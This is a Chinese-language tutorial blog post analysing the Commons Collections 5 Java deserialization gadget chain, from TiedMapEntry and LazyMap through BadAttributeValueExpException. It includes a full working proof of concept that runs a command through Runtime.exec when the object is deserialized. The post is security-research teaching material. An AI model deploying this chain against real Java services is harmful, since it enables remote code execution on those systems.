Java安全—CommonsCollections5

引子

在jdk1.8的时候Annotationinvocation的readObject方法被改写,cc1链就不适用了,cc5链是基于Lazymap类在jdk1.8使用TiedMapEntry+BadAttributeValueExpException来触发LazyMap的get方法。

TiedMapEntry类

toString方法中有个getValue()

public String toString() {
    return getKey() + "=" + getValue();
}

而在getValue()中会发现又调用了get()

 public V getValue() {
        return this.map.get(this.key);
    }

可以发现返回的是map.get()方法,联想到CC1 lazymap链的后面部分,也是需要调用lazymap的get方法,我们只需要利用构造方法把map赋给lazymap.

   public TiedMapEntry(Map<K, V> map, K key) {
        this.map = map;
        this.key = key;
    }

构造攻击链

然后我们寻找如何触发toString方法,BadAttributeValueExpException类中的readObject()中 调用了该方法。

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

可以看到关键

 val = valObj.toString();

我们只需要要让valObj为TiedMapEntry类,现在看看要如何做,先找给valObj赋值的地方。

ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。

    private Object val;

现在我们只需要修改val的值就可以了。

  BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        //Reflection
        Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = clazz.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

POC

整个的POC

package com.summer.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);



        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"XINO");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        //Reflection
        Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = clazz.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        byte[] bytes = serialize(badAttributeValueExpException);
        //System.out.println(System.getSecurityManager());
        unserialize(bytes);
    }
    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
}

注意

这里需要注意的一点是

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

防止还没反序列化就进行攻击链了。

结语

今天给大家带来的是CC5链的构造分析,也是基本按照CC1走下来的,只是后面的部分不太一样。希望大家有所收获。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值